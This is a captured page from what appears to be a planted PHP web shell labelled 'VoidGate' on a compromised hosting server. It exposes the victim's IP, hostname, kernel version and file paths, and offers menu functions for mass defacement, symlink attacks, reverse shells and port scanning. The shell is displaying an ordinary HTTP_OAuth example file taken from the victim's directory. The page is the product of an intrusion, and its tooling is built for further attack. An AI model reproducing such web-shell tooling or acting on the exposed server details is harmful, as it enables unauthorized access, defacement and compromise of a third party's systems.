ヤミRoot VoidGate
User / IP
:
216.73.216.137
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
itrave
/
php
/
docs
/
HTTP_OAuth
/
examples
/
Viewing: access_token.php
<?php /** * HTTP_OAuth * * Implementation of the OAuth specification * * PHP version 5.2.0+ * * LICENSE: This source file is subject to the New BSD license that is * available through the world-wide-web at the following URI: * http://www.opensource.org/licenses/bsd-license.php. If you did not receive * a copy of the New BSD License and are unable to obtain it through the web, * please send a note to license@php.net so we can mail you a copy immediately. * * @category HTTP * @package HTTP_OAuth * @author Jeff Hodsdon <jeffhodsdon@gmail.com> * @copyright 2009 Jeff Hodsdon <jeffhodsdon@gmail.com> * @license http://www.opensource.org/licenses/bsd-license.php New BSD License * @link http://pear.php.net/package/HTTP_OAuth_Provider * @link http://github.com/jeffhodsdon/HTTP_OAuth_Provider */ require_once 'examples-config.php'; include_once 'HTTP/OAuth/Consumer.php'; $consumer = new HTTP_OAuth_Consumer( $config->consumer_key, $config->consumer_secret, $config->token, $config->token_secret ); $consumer->accept($request); $args = array(); if ($config->method == 'POST' && !empty($_GET['args'])) { $args = $config->args; } try { $consumer->getAccessToken($config->access_token_url, $config->verifier, $args, $config->method); echo json_encode( array( 'token' => $consumer->getToken(), 'token_secret' => $consumer->getTokenSecret() ) ); } catch (HTTP_OAuth_Consumer_Exception_InvalidResponse $e) { echo $e->getBody(); } catch (Exception $e) { echo $e->getMessage(); } ?>
Coded With 💗 by
0x6ick